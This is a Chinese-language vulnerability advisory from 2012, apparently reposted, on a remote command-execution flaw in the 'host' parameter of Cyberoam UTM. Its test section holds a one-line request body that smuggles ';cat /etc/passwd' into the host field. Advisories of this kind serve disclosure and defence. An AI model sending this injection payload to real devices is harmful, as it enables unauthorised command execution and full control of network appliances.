Cyberoam UTM 'host'参数远程命令执行漏洞

发布日期:2012-03-21
更新日期:2012-03-22

受影响系统:
cyberoam Cyberoam UTM
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 52664

Cyberoam Unified Threat Management可为家庭办公和远程分支办公提供的网络安全诊断操作。

Cyberoam Unified Threat Management在验证host参数提供的IP地址格式有效性验证上,仅在客户端验证,不在服务器端验证,恶意用户可通过在线代理工具并注入OS命令利用此漏洞执行任意命令并完全控制设备。

<*来源:Saurabh Harit
 
  链接:
       
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

__RequestType=ajax&amp;mode=758&amp;tool=1&amp;interface=&amp;host=127.0.0.1 -c 1;cat /etc/passwd&amp;pingipfqdn=127.0.0.1&amp;size=&amp;tracerouteipfqdn=&amp;namelookupipfqdn=&amp;dns=&amp;routelookupipfqdn=&amp;pinginterface=&amp;tracerouteinterface=&amp;selectdns=10.0.0.5&amp;

建议:
--------------------------------------------------------------------------------
厂商补丁:

cyberoam
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

linux

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwgjjd.html